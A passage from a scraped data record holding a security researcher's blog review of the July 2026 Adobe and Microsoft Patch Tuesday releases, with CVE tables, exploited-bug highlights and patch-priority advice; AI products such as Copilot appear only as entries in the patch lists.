(Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:03:03.394352Z"}, {"uuid": "759c5c1e-86d6-466a-a04c-cf1317bc5f06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54132", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  